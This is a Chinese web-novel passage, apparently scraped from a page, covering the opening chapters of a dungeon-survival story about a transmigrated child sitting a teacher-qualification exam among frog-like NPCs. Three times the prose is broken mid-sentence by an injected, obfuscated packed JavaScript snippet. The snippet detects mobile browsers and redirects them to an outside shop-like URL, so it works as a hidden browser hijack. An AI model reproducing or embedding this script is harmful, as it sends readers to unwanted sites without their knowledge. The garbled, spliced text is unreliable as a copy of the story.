《你们是我带过最差的一届NPC》 1. 教资考核正式开始 “老师是这个世界上最伟大的职业。” 最伟大的职业,早上五点就要起床。 被人从床上打起来,坐上又老又旧的大巴车,还没睡醒的霍山漪打了个呵欠,迷迷糊糊地开启了自己穿越到乌托邦的第七天。 七天前,她从这具年幼的身体里醒来,伴随一阵强烈的饥饿感。 原身叫1231,联邦生命科学研究院报废的残次品,一直在乌托邦外城流浪,直到她吃下一块烂铁,不小心被噎死了。 霍山漪醒来的时候,烂铁还卡在1231的脖子里,痛得霍山漪差点又死一次。 1231的这具身体孱弱,无力,年纪又小不能工作,她没吃过好的,所以觉得垃圾站里的破铜烂铁都是好东西。 霍山漪不一样。 霍山漪原来所在的世界虽然被无限游戏入侵,遍地都是副本和副本NPC,但她还有玩家积分和系统,可以用积分去和系统兑换食物。 好在,这个世界也有副本,不仅和她熟知的副本一模一样,只要通关,还能得到巨额奖金。 霍山漪兴致冲冲地去报名,猝不及防地被卡年龄了。 进入副本至少要10岁。 霍山漪:…… 霍山漪:七岁的小孩就不能赚钱了吗?这是歧视! 没关系,看这里科技那么发达,总该有福利院吧。 霍山漪一路打听,找到福利院后,又因为她是复制人被福利院院长婉拒。 虽然不知道复制人是个什么情况,但是,复制人难道就不是人了?霍山漪忿忿不平地骂福利院。 这是歧视! 不过,霍山漪一个成年人的灵魂,再怎么说都能在这个地方活下去。能在垃圾站捡到别人吃剩的馒头,或者嗦过的鸡架骨也不错。 结果这种垃圾饭都有很多人跟霍山漪抢,她抢不过,只能打起树皮的主意。 想着树皮总不会有人跟她抢了吧。 结果,乌托邦外城的树皮树叶,只要没毒,都被人给啃了个精光。 霍山漪饿了整整三天,在垃圾站里吃了三天的破铜烂铁。 终于,第三天傍晚,她在垃圾堆里捡到一张传单。 鲜艳明亮的色彩在一中铺满灰尘的垃圾里吸引霍山漪的视线,她一边往嘴里塞烂铁,一边手脚并用地往那个传单所在的方向爬。 就算上面没有有用的信息,但吃纸总比吃铁好。 霍山漪这么想着,打开传单,第一眼看见的就是一句标红的反问——【你想吃饱饭吗?】 三天没吃过一顿好饭的霍山漪:……这不废话。 视线往下移,就是第二句标红的反问——【你想有房子住吗?】 吹了三天冷风的霍山漪:…… 【到云荒街35号,联邦第一教师培养院,成为教师预备役,即可享受包吃包住包看病的超强福利!】 这段话下面是几张烤香鸡的配图,鲜嫩的鸡腿肉,酥脆的外皮,隔着一张纸,霍山漪几乎都快留下口水。 【通过科目一考试,培养院将提供七天连续不断的热食。 通过科目二考试,将直接获得联邦百万贡献点补贴。 通过科目三考核,联邦将免费提供300平大平层精装房屋一间,分配体制内教师工作时薪1000贡献点,教出优秀学生,成为优秀教师,还可获得额外提成!】 【现发布招聘,只招七岁及以下的儿童到联邦第一培养院面试!心动不如行动!快带上你的孩子到联邦第一教师培养院来看看吧!】 这份传单简直把“天上掉馅饼”五个大字写到开头了。 要放霍山漪那个世界,系统都得发出反诈警告提醒。 但霍山漪没有办法。 云荒街35号。 云荒街35号。 霍山漪在心里默念了好几遍这个地址,把宣传单一股脑塞进嘴里充饥,当天晚上,她走了好几条街,问了好几个人,终于到达云荒街35号。 一间破旧的教堂,里面的墙壁上用红漆喷着几个大字:友善,温柔,诚实,关爱。 据说是乌托邦老师的八字箴言。 接待她的,是一个穿着修女服的中年女人,其他人都叫她修女妈妈。 霍山漪被她送进体检室,麻药让她全身动弹不得,却还偏偏让她保留了清醒的意识。 体检室内的机械手臂从天花板垂下,在她的身体上缝缝补补,霍山漪虽然感觉不到痛,但她能感觉到,她的脑袋好像被人拿起来了。 “不用害怕,你的脑袋里有虫子,我们帮你清理一下。”修女妈妈的声音好似从很远的地方传来。 离开体检室时,修女妈妈问了她两个问题: 第一个问题是:“你是为什么来培养院的?” 当然是为了吃饭,房子和钱才来的。霍山漪在心里想。 修女妈妈给了她一张纸,让她在纸上写下自己的回答。 如果霍山漪只是个平平无奇的七岁小孩,她可能会错过修女妈妈提到“老师”充满希冀的眼睛,可能会错过联邦第一教师培养院墙上大篇大篇对“教师”的溢美之词。 以及,在每堵墙的角落都用红色的喷漆写上的:“乌托邦最伟大的职业——教师。” 霍山漪拿起笔,感天动地地写:【我是为成为老师来的!老师是乌托邦最伟大的职业,作为乌托邦的公民,我非常希望能为乌托邦尽最大的一份力!为此,我可以付出我的一切!】 第二个问题是:“你认为副本是我们的敌人还是朋友?” 霍山漪并不清楚乌托邦的政治正确是什么,她只能和稀泥,任何事都有两面性,副本可以是敌人,也可以是朋友。 修女妈妈对她的两个回答都很满意。 而霍山漪也总算在她穿越到乌托邦的第三天,吃到了热的食物。 随便写的溢美之词能换一顿香喷喷饭,当然不亏。 芝士和炸鸡腿的香味,直到现在,霍山漪依旧能清晰回忆出来。 自那天后,她已经四天没有吃过好东西了。 传单上的福利果然是虚假宣传。 这四天,她只能吃馒头,运气好能吃到热的,运气不好就只能吃冷的,或者掉在地上的馒头屑。 不过,总比吃烂铁好。 为了一口热的,为了一点破钱,霍山漪已经忍耐了太久太久。 车窗外,浓郁的血雾掩盖了原本的风景,但勉勉强强能看见车外曾经是一条还算繁华的街区。 这辆老得仿佛刚从湖里打捞起来的大巴就在这条荒废许久的街区缓缓前行,看起来非常不像这个科技非常发达的世界的产物。 霍山漪下车时,踩着大巴门口的小台阶,还能清晰地听见“咯吱咯吱”的声响。 大巴通体呈现绿色,上面挂着已经晒干的海草,车前的远光灯坏了一个,只剩另一个还亮着。 周围是破烂不堪的街区空中飞扬着发散不明的绿色粉尘。 浓郁的血雾在霍山漪下车的瞬间一拥而上,视线迷蒙了一瞬,过了好一会儿才恢复正常。 一棵没有生长树叶,只有纤细的枝干在不断向周围废弃的街区攀爬的树,矗立在街道中央。 挂在上面的植物藤蔓像章鱼的触手那样,死死缠住废弃建筑,缓缓蠕动。 藤蔓的尾端卷着一根根塑料袋垂落到地面。 “老师是这个世界上最伟大的职业,也是这个世界上受尊敬的职业。” 修女妈妈带着一群刚满七岁的孩童站在树前,开始今天的洗脑演讲。 “来到这里的孩子,你们到培养院接受培训已经过去整整四天,这四天,研究员为你们详细科普了什么是副本,什么是副本NPC,如果进入副本,如何才能出来。” “现在,我相信,你们已经对副本非常熟悉了。” 修女妈妈咧开嘴角,扯出一个诡异的笑容。 “面前的这棵树,就是教师资格考核第一个科目的入口,拿起塑料袋,就可以通向树内的副本。” “我知道,你们都是奔着能够成为乌托邦最受尊敬的老师去的,你们的父母也希望你们在联邦第一教师培养院有所建树。” “通过教师资格考核,成为所有考核的第一名,就能成为老师。” 说到这,修女妈妈凌厉的眼神扫过站在树下的孩子,“但是,第一名只有一个。” 霍山漪站在人群的末端,安静地听着修女妈妈说话。 “科目一的考核是竞速考核,进入副本,以最快的速度通关,合格的名额只有三十个,”修女妈妈耐心地讲述规则,“不合格的人,会直接被淘汰。” “愿拉弥亚保佑。” “现在,”修女妈妈拿起旁边的一根藤条,指着藤条底端的塑料袋说:“拿上通往副本的钥匙,开始考试吧。” 周围的小孩争先恐后地跑到那棵参天大树下,霍山漪被几个小孩不怀好意地撞开,她一下没站稳,跌倒在地。 培养院的小孩都不是很喜欢霍山漪,或许是因为她没有父母,又或许是因为她从不说话,又或许是因为她没有异能。 乌托邦的异能者极其稀少,但培养院集中的孩童,除了霍山漪全是异能者。 这些天,霍山漪抢饭抢不过,还总被人用异能整蛊,特别是那些火系异能者,知道她怕火后,他们好像找到了什么新乐子,天天逮着霍山漪烧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079402|149471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总之,霍山漪在培养院非常不受人待见。 不过,霍山漪还不想离开,至少要熬过科目二考核,拿到那一百万贡献点。 一百万。 那可是一百万! 霍山漪就算死,都要通过科目二考核。 在拿到塑料袋的一瞬间,小孩们在原地消失。霍山漪蹲下身,仔仔细细地打量着塑料袋。 就是普通的塑料袋,里面包裹着一个翻盖手机,没什么特别。 霍山漪原来的世界也有副本,不过进入副本需要找中间人购买钥匙的,副本等级越高,钥匙越贵,严格来说,和乌托邦的副本也差不多,只是不知道乌托邦的副本有没有等级界定。 一个通关副本竞速考核而已,霍山漪可是有上百次S+级别副本通关经验的无限世界玩家,游戏玩家积分榜常年霸榜第一,在这里拿到合格的成绩而已,并不算难。 霍山漪没再犹豫,拿起塑料袋。 下一秒,她就站在了一条到处充斥着油腥味的街道上。 这具身体的嗅觉过于灵敏,霍山漪被这股劣质的地沟油味整得干呕了几声,才勉勉强强适应。 街道是塑料袋“钥匙”自动为她分配的地点。 她往四周看了一下,没看到其他进入副本的人。 看来是单线副本。 街道上有些阴森,雨后路上的积水冒着冷气,两边是掉漆的办公楼,修得很矮,最高的一栋也才六层。 天空上显现出一个白色透明的数字“90”,和培养院参加教资考核的小孩数量一样。 垂下眼眸,一群长相一模一样的NPC不断在街道上走动,它们的外形和人的区别不大,就是手臂异常的长,手掌异常的大,腿部弯折成一个诡异的弧度,像一只巨大的青蛙。 根据霍山漪的经验,这些批发生产的NPC身上大概套不出什么有用的线索,它们大概是被精神辐射后产生异变的普通人。 在霍山漪原来所在的世界,副本是因为人的压力太大,产生精神辐射,辐射扩散,在某个区域形成特定磁场后才出现的。 在这个区域内的人会因为精神辐射产生异变,丧失理智,变成NPC,而引发精神污染的人,副本的源头,就是副本的BOSS。 听起来很像游戏,但游戏失败可以存档重来,在副本里死了,就是真的死了。 先去办公楼。 霍山漪很快作出了决定。 她抬脚往最近的一栋办公楼走,大概也就十几米的距离,与几个NPC擦肩而过,霍山漪再抬头时,和那栋办公楼仍旧还有十几米的距离。 不太对劲。 霍山漪继续往前走,这一次她的目光始终定定地看着那栋办公楼。 过了五分钟,那栋办公楼依旧距离她有十几米的距离。 像是被什么东西困在原地,不论霍山漪怎么往前,都无法接近那栋办公楼,而且不止是那一栋,长街上其他的建筑,霍山漪就算用最快的速度跑过去,都无法靠近一步。 所以,问题的关键不是周围的建筑。 是这条充满荤腥味的路。 霍山漪一眨不眨地看着来来往往疾步快走的NPC。 这群NPC不仅长相一模一样,走路的步幅也一模一样,甚至它们手里都还拿着一根被捏皱的红色塑料袋。 塑料袋。 霍山漪低下头,看着自己手里拿着的透明塑料袋。 这是她进入副本必须拿的“钥匙”,里面出了一个翻盖手机,什么东西都没有。 塑料袋可能是关键线索,霍山漪准备强行从一个NPC身上薅下来。 这时,忽然有人拍了下霍山漪的肩膀。 霍山漪回过头,猝不及防地对上一双像僵尸一样凸出的,布满红血丝的眼球。 一个NPC正站在霍山漪身后! 它瘦得几乎只剩皮包骨,手比正常人长出一大截,稍微弯着腰就能触碰到地面。 它穿着款式最平常的白色衬衫,打着黑色长领带,很长的一双腿弯折叠在一起,黑色西装裤膝盖上的布料已经磨损到抛光,宽大的脚上踩着一双鞋跟被磨成弧形的旧皮鞋。 霍山漪对NPC这种奇异的外形已经见怪不怪,长期经受精神辐射的人都会异变,至少这个NPC的外形还挺像人,不算猎奇。 就是不能吃,因为肉质太硬太臭了。 然后,霍山漪听到了它沙哑的声音。 “你听见了吗?”它说。 霍山漪有些疑惑。 NPC弓着背,手撑着地,用黑色的,穿到抛光的皮鞋摩擦地面。 “我的皮鞋里,有青蛙在叫。” 2. 皮鞋(一) 除了摩擦时“滋滋”的杂音,霍山漪什么也没听见。 没有蛙鸣,也没有青蛙。 NPC的鞋子很正常,除了太旧,穿到有点开胶。 蛙鸣会不会是从NPC体内,自内而外地传出来的?别人听不到,只有它们自己能听见。 毕竟这些NPC虽然还有一张人脸,但身体已经变异成了青蛙。 青蛙。 霍山漪她有点饿,青蛙肉好不好吃她不知道,但她看过吃青蛙寄生虫钻到脑子里的新闻。 强行压下心中的食欲,霍山漪咽了下口水。 “你听见了吗?”NPC重复问。 霍山漪蹲下身,想凑近一点听,晃眼看见它手里的红色塑料袋里似乎装了什么东西。 而且,那个东西还是活的。 “咚——咚——咚——” 它极其有规律地在红色塑料袋里跳动。 “你听见了吗?” NPC睁着充斥着红血丝的眼睛,一遍又一遍,不厌其烦地重复问:“你听见了吗?” “你听见了吗?” “你听见了吗?” …… “你听见了吗?!” 它的语气不断加重,最后几乎是把脸贴到霍山漪的额头上,嘶吼着问。 霍山漪不为所动,“没有。” NPC:…… 正常人在副本里听到这种质问,即使没被吓到说不出话,也会先冷静地观望观望,像霍山漪这样直接否认的,基本遇不到。 NPC愣了一下,再次重复问题时,气势明显比刚才弱了许多,“你听见了吗!” 这具身体的听觉非常灵敏,在培养院时,霍山漪甚至能听见隔壁五间卧室的声音,照理说,只要有声音,她不会听不见。 但她真的,什么也没听见。 作为诚实的小孩,霍山漪的第二次回答也是:“没有。” 这时,NPC露出一个意味深长的笑容,第三次问出同样的问题:“你听见了吗?” 在副本里,有些死亡规则是玩家只要做了就会立刻死,有些死亡规则,却需要达到一定的次数,才会触发。 霍山漪思索了一下,最后回答:“我听见了。” 等着霍山漪否认三次,触发死亡规则的NPC:…… 但很快,它便直起身体,“你听见了。” 它长到几乎可以触碰自己脚踝的双手,宽厚到有霍山漪的头那么大的掌心里,紧紧攥着一根红色的塑料袋。 NPC心满意足地往前走,霍山漪跟在它身后,试图离开这个无法往前的怪圈。 但很快,霍山漪就发现,怪物也在原地走。 它根本没有离开自己原来所在的位置。 和霍山漪一样。 就在这时,霍山漪听见了很轻的一声: “呱——” 青蛙的叫声。 霍山漪到处看了一下,没有发现青蛙的踪影。 这条街所处的位置看起来应该是在某座比较繁华的城市,城市里应该很少能看见青蛙才对。 霍山漪压下心中的疑惑,继续往前跟着NPC走。 “呱——” 在第二声蛙鸣响起的瞬间,霍山漪猛地停住脚步。 “我的皮鞋里,有青蛙在叫。” 她耳边再次响起了NPC的声音。 霍山漪漆黑的眼睛一眨不眨地盯着NPC的旧皮鞋,她等了很久,却始终没有再听到第三声蛙鸣。 错觉吗? 霍山漪不觉得这具感官灵敏的身体会出差错,于是,她再次抬脚往前走了一步。 “呱——” 这一次她清晰地听见了,蛙鸣是从她脚下传来的。 开裂的红砖里除了泥土什么也没有,但霍山漪的脚上不知道什么时候穿上了一双破旧的黑色皮鞋。 合脚的。 她记得,自己之前穿的是一双纯白色的布鞋。 霍山漪再次往前走了一步。 “呱——” 蛙鸣不是从地面以下的地方钻出来的。 霍山漪抬起头,那个和她说话的NPC也转过头,朝她露出一个诡异的笑容。 霍山漪抿了抿唇。 她的皮鞋里,有青蛙在叫。 在分析线索之前,霍山漪回想了她来到乌托邦的这四天,培养院的研究员在授课时曾经讲到过的——副本。 和霍山漪原来世界的副本几乎一模一样,乌托邦的副本也不是恐怖或者悲哀的具象化。 在这里,NPC会展现它内心最希望拥有的美好。 譬如,因为饥饿而产生精神辐射的NPC,它所在的副本内所有的建筑由会食物构成,或者,它自己就会变成食物。 譬如,断手断脚的NPC会让进入副本的玩家慢慢变成蜈蚣。 不过,这些美好都是假的,即使是副本的主人,NPC也无法享受这份美好。 它们会忘记自己最想实现的愿望,永远被困在自己最痛苦的那一天,直到痛到麻木,发自内心地感受不到痛苦,才会消失。 而进入副本的玩家,只要沉溺其中就会被同化,成为NPC的养料。 对于霍山漪这样的玩家来说,只有痛苦才能保持清醒。 安全从副本内离开,需要满足三个条件: 一、找到副本NPC痛苦的根源。 二、承受NPC所承受的痛苦。 三、说出NPC最想完成的愿望。 在经历痛苦,说出NPC的愿望后,精神还正常的情况下,副本内就会出现一扇门,这时,NPC会重新给一把“钥匙”,用新的“钥匙”打开门,就能离开副本。 通常来说,只有在接触到特定的物品时,才可以真切感受到NPC经历的痛苦。 当然,还有第二种方法可以离开副本。 那就是杀死副本里所有的NPC怪物,怪物一死,副本所形成的精神辐射磁场也会随之消失。 除非让怪物停止痛苦,否则,它们可以无限重生。 原来世界里的霍山漪只用过一次第二种方法,那时,她还没想过自己也会因为这个方法死去。 当然,如果可以的话,进入副本的玩家也可以选择用爱感化NPC。 不过,霍山漪认为,除非你是个脑子有问题的傻逼,否则不建议这么做,毕竟火不落在自己的脚上是不知道疼的。 找线索,躲过NPC的杀人规则,寻找痛苦的根源,接受副本的异变,找到门,离开副本。 皮鞋,青蛙,塑料袋,还有这条只能在原地行走的路,霍山漪现在还缺少一样东西,把这些线索连结在一起。 “呱——” 霍山漪往前走了一步,再次听见了,从鞋底传来的青蛙叫。 她抬起脚,往鞋底看,似乎是因为穿了太久太久,这双老旧的皮鞋底被磨出了一个洞,霍山漪眯起眼睛往里面仔细看。 什么也没有。霍山漪又往前走了几步,每走一步,她就会听到一次蛙叫。 一切都是从她回答那个NPC说,她听见了蛙鸣开始的,所以,霍山漪合理猜测,是她的回答触发了副本里的某项规则。 “你听见了吗?” “我听见了。” 霍山漪仔细回忆刚才和NPC说话的细节,她拍了下前面那个NPC的肩膀。 “你听见了吗?”霍山漪反客为主,把NPC刚刚问她的话术还了回去。 NPC停下脚步,歪了下头,脸上还挂着僵硬的笑容,“什么?” “我的皮鞋里,有青蛙在叫。”霍山漪仔细观察着NPC脸上的表情,企图从中找到一丝不对劲。 “我的皮鞋也坏了,里面有青蛙。”NPC面无表情地说,那双充斥着红血丝的眼睛一眨不眨地盯着霍山漪。 “那你知道哪里有鞋匠吗?”霍山漪的视线落在NPC怀里的红色塑料袋上。 皮鞋坏了就应该修理。 “云荒街路东有一个老鞋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079403|149471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匠,他修过的鞋,再穿十年都没问题。”NPC说。 云荒街?没记错的话,培养院也在云荒街。霍山漪眯了下眼睛,暂且压下心中的疑虑,又问:“你不去修鞋吗?” “修鞋?”NPC歪了下头,才回答:“我妈妈生病了,我得去医院照顾她。” “你妈妈生什么病了?” NPC沉默了一下没有回答,最后,它看着霍山漪脚上的皮鞋,问:“你要和我一起去医院吗?” “要。”霍山漪毫不犹豫地回答。 NPC继续往前走,霍山漪正要装作不经意地问NPC它手里的塑料袋装了什么,或者趁它转身的刹那抢走塑料袋,就看见NPC身上掉下来一张小方片。 上面贴着一个看起来大概三十岁的女人的证件照,照片旁边是“黑山羊研究所”标黑的名称,一串电话号码,以及一个名字—— 曹意怜。 紧跟着,另一张小方片从另一个NPC身上掉落,飘到霍山漪面前,然后,越来越多,越来越多的小方片掉落。 上面印着同一张证件照,同一个研究所,同一个电话号码和同一个名字。 曹意怜。 这里的NPC都叫曹意怜? 霍山漪在原来世界的副本没遇到过这种情况。 副本里的NPC不止有BOSS,还有曾经可能在BOSS附近而受到精神辐射变异的无辜倒霉蛋。 这些倒霉蛋几乎已经丧失自我,它们活着的唯一目的就是帮助BOSS杀人,让越来越多的人被副本同化,变成NPC怪物。 但至少,这些NPC都还记得自己原来的名字。可是,在这个副本里的NPC都是同一个人吗? 霍山漪深吸一口气,对着NPC的背影大喊: “曹意怜!” 话音刚落,街道上所有的NPC猛地转过头,充满红血丝的眼睛一眨不眨地盯着霍山漪。 而最终回答霍山漪的,只是一声很轻的“呱——” 不是从她脚上的皮鞋传来的,也不是从别的NPC身上传来的。 而是从她的手上。 霍山漪缓缓低下头。 她手里的,曹意怜的名片不知道什么时候变成了一绿皮青蛙。 青蛙吐了下舌头,腮帮子一鼓一鼓地膨胀又收缩,就像正在运作的心脏。 霍山漪深吸一口气。 至少她该庆幸,“曹意怜”不是副本内潜藏的死亡规则。 虽然NPC和霍山漪一样只是在原地徘徊,但它们的手臂很长,要触犯了死亡规则,到时候,霍山漪想跑都跑不了。 不过,现在霍山漪能确定了,这里的NPC不管在变成NPC前是否是曹意怜,至少此时此刻,它们都是曹意怜。 曹意怜。 霍山漪在心里重复了几遍这个名字,最后她将视线落到NPC手里的红色塑料袋上。 里面的东西正一鼓一跳地撑着塑料袋外壳。 “呱——” 这一次,霍山漪听见的蛙鸣从塑料袋里面传来的。 这具身体的听觉系统也很灵敏,在培养院时,霍山漪隔着几堵墙都能听见其他小孩说话的声音,而且很清晰。 所以,霍山漪不可能听错。 打开它。 打开它。 霍山漪往前走了一步,抬起手,还没来得及触碰到曹意怜,她就被一只奇长的手臂狠狠掐住了脖颈。 窒息的感觉让霍山漪几乎喘不过气,她挣扎着抬起头,无力地扒着脖子上把她往死里掐的手指。 下一秒,她便对上一双充满红血丝的,一眨不眨的眼睛。 曹意怜的眼睛。 那眼神里有怀疑,有愤怒,有悲哀,那双长到地面的手紧紧攥着霍山漪口中所说的红色塑料袋,一分也不肯松开,另一只手抬起,紧紧掐住霍山漪的脖颈。 天空中的数字从“90”变到“89”。 霍山漪意识到,红色塑料袋就是副本的死亡规则之一。 3. 皮鞋(二) 想顺利通过考核,至少通过科目二的考核。 想拿到考核后联邦补贴的一百万贡献点,成为一个小富婆,在乌托邦外城买一间装修精致的小房子,找到回到原来世界的方法,找不到,她就平平淡淡地在这里过一生。 想活着。 从眼角渗出的泪水模糊了霍山漪的视线。 乌托邦的副本来得比她之前经历过的副本来的更蛮横,更不讲理。 至少在霍山漪原来的世界,副本还会出一个规则手册,提高玩家在副本内的存活率。 这里什么都没有。就连霍山漪原来的异能也消失了。 “呱——” 不知道从哪传来的蛙鸣唤回了她的思绪。 对了,青蛙。 曹意怜的身体结构和青蛙非常类似。 青蛙的眼睛和视力都很特殊,大多数时候,它们只能捕捉动态的生物。 如果曹意怜真的是蛙类的异化怪物NPC,那么现在的霍山漪越挣扎就越危险。 从脖子被狠狠掐住的一刹那,霍山漪就抑制住想挣扎的冲动,她放下想扒开曹意怜手指的手。 在即将彻底陷入窒息状态的瞬间,曹意怜忽然松开手。 有死亡规则,就有生存规则,有死路就有生路,副本里多的是绝处逢生的状况,越是危急就越是要保持冷静。 霍山漪控制不住地剧烈咳嗽起来,她拿着透明塑料袋的手放在一片乌青的脖颈,淤青几乎要将她身上像被高度烫伤过后滋生的,丑陋的疤痕全部掩盖。 那是1231自带的伤疤。 1231的记忆里,她从被制造出来的那一刻开始就带着这些疤,霍山漪也不清楚真正缘由。 还没缓过神,喘过气,曹意怜奇长的手臂再次对准霍山漪的脖颈。 又触发死亡规则了?不会那么点背吧。霍山漪立刻进入警戒状态,硬生生把想咳嗽的欲望压下去。 但是,曹意怜只是用掌心覆在霍山漪拿着塑料袋的手背上,把她的手捏成拳头,“不要随便把它拿出来。” 像是在规劝,又像是在警告。 “为什么?”霍山漪看它没有释放攻击性,便试探性地问了一句。 “那是你的命。”曹意怜语重心长。 大部分时候,NPC都懒得管进入副本的人,即使是在精神辐射重度污染的副本区域内,它们依旧有自己的生活。 但这句提醒,让霍山漪觉得自己不像是外人,而是一直生活在副本里的NPC。 曹意怜说,塑料袋里的东西是霍山漪的命,霍山漪只得拿起手中的透明塑料袋。 难不成,这个翻盖手机就是副本里的关键回忆物件? 霍山漪轻车熟路地摁开手机的电源键,还没来得及看手机里的内容,只是简单开了机,她就听见一阵“滴滴——滴滴——”的电话铃声响起。 和科技高度发达,人人拥有脑机的乌托邦不同,这个副本里的科技还停留在很久以前。 背对着霍山漪站立的曹意怜拿出自己的翻盖手机,屏幕还是碎的,没有换新。 “喂,老板?”曹意怜脸上的笑容连带着语气,一起变得谄媚起来。 “我就请这两天的假,我妈妈生病了,我得去照顾她,给她送饭。” “我都这么多年的老员工了,您放心,这两天过后,我马上就来上班。” 好不容易挂断了老板的电话,还没来得及把翻盖手机放回去,又有电话打了过来。 “补课班?我忘记缴费了,我今天晚上来行吗?你们什么时候下班啊?那我还是让孩子他爸过来缴费吧。” 挂断电话,曹意怜又不知道给谁打过去一个电话,“喂?你今天去接一下孩子,顺便去补课班缴费,我在医院这边没空。” “你今天要加班?”曹意怜仔细思索了一下,“你加到什么时候?” “不知道什么时候?你老板天天让你加班还不给加班费,你就没说争取一下吗?钱争取不到,假期你总该争取一下吧?让你接个孩子都没有时间。” “你让我早点离开医院?我自己的妈生病了我请假多照顾她一会儿怎么了?你还有理怪我去医院?我告诉你,你要是这样,你爸妈以后生病,我一次都不去看他们!” 恶狠狠地挂断电话,曹意怜迈着沉重的步伐往医院的方向走,但它始终没有办法踏出原地一步。 最后它长叹一口气,给学校的老师打了电话,“喂,请问是林老师吗?我是阳阳妈妈,我今天要去医院照顾阳阳的外婆,可能要晚点才能来幼儿园接他,你能不能帮我看着他一会儿?” “麻烦林老师了!我把阳阳外婆安顿好就过来!谢谢林老师!” 心里的石头落下,曹意怜长呼一口气。 “去医院看妈妈,找舅舅借点钱给妈妈交手术费,做这个季度最新报表的PPT,还房贷,给阳阳缴补课费,回家做饭……” 曹意怜魔怔一般重复自己准备要做的事,“去医院看妈妈,找舅舅借点钱给妈妈交手术费,做这个季度最新报表的PPT,还房贷,给阳阳缴补课费,回家做饭……” 霍山漪这具身体的听觉非常灵敏,穿到这具身体的七天,十米之外的人说的什么,她都能轻而易举地听见。 可是从刚才开始,霍山漪一点都没听见,有人的声音从翻盖手机另一端传来,全程只有曹意怜一个人在自言自语。 很快,另一个原本在走动的NPC,另一个曹意怜也接起电话。 “喂,老板?” “我就请这两天的假,我妈妈生病了,我得去照顾她,给她送饭。” “补课班?我忘记缴费了,我今天晚上来行吗?你们什么时候下班啊?那我还是让孩子他爸过来缴费吧。” “喂?你今天去接一下孩子,顺便去补课班缴费,我在医院这边没空。” “你今天要加班?” “你加到什么时候?” “不知道什么时候?你老板天天让你加班还不给加班费,你就没说争取一下吗?钱争取不到,假期你总该争取一下吧?让你接个孩子都没有时间。” “你让我早点离开医院?我自己的妈生病了我请假多照顾她一会儿怎么了?你还有理怪我去医院?我告诉你,你要是这样,你爸妈以后生病,我一次都不去看他们!” …… 紧跟着,走在路上的曹意怜们接二连三地接起电话,一模一样的言语落到霍山漪耳畔。 在成为副本里的NPC之前,曹意怜应该是个普通的上班族,女性,家庭不算特别幸福,但应该还能将就过着走,和爱人有一个孩子,孩子刚上幼儿园,还不能自己回家。 隐藏信息,孩子大概率不和爷爷奶奶住一起,不然完全可以叫爷爷奶奶去幼儿园接孩子放学。 “你不去找你妈妈了吗?”霍山漪问。 曹意怜摇头,“今天太忙,要是赶得及的话,就今天去,赶不及的话,就明天去。” “要是我能分成两个我就好了,”曹意怜忽然说,“这样有一个我可以去照顾妈妈,有一个我可以去接孩子放学。” “两个好像也不太够,得要四个,”曹意怜又说,“第三个我去工作,第四个我去补鞋。” “再有两个好像会更好一些,这样就可以有三个我去工作了。” “这样就有钱了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079404|149471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“其实,我也想有分身。”霍山漪说。 还在原来的世界的时候,霍山漪就这么想了,有分身的话,她就能同时过好几个副本,直接拉第二名几千积分,成为无线游戏玩家的断层top1。 霍山漪不认为自己是卷王,她只是太喜欢第一的名次了。 下一秒,一只奇长无比的手从曹意怜手里的塑料袋钻出来,紧跟着,是一颗和曹意怜一模一样的头。 半截身体从塑料袋里钻出来,它用手撑着地面,像顺产那样从塑料袋里滑出来。 它瘦得几乎只剩皮包骨,手比正常人长出一大截,稍微弯着腰就能触碰到地面,双腿折叠在一起,和站在石头上的青蛙一模一样。 眼睛像僵尸那样凸出来,布满红血丝。 它穿着款式最平常的白色衬衫,打着黑色长领带,黑色西装裤膝盖上的布料已经磨损到抛光,脚上踩着一双鞋跟被磨成弧形的旧皮鞋。 它没有像新生的婴儿那样哇哇大哭,也没有好奇地观察这个世界,它只是站起来,朝路的尽头走去,仿佛有人给它设定了往前走的程序。 然后,有人拍了下霍山漪的肩膀。 从另一个曹意怜的红色塑料袋里钻出来的,新的曹意怜对着她露出一个诡异的笑容。 “你听见了吗?我的皮鞋里,有青蛙在叫。” 霍山漪没有回答,而是看着它的心口。 原本该是生长着心脏的地方,此刻被规整地掏出一个圆洞,空空荡荡的骨架里,装着一根红色的塑料袋,仔细看,塑料袋里还站着绿皮青蛙,正鼓着自己的腮帮子。 “呱——” “呱——” 第二声蛙鸣是从霍山漪手里发出来的,她低下头,没看见青蛙。 但她看见了一直被她拿在手里的老式翻盖手机。 下一秒,手机“滴滴——”地响了起来。 霍山漪停顿三秒,才接通电话。 她以为,她会听见曹意怜的家人,或者老板的声音。感受曹意怜曾经经受的痛苦。 这是副本的固有套路。 进入副本的人必须感受NPC经受的痛苦。 但是,她没有听到这些让曹意怜痛苦的声音。 她只听见了一个熟悉的女声。 “霍山漪。” 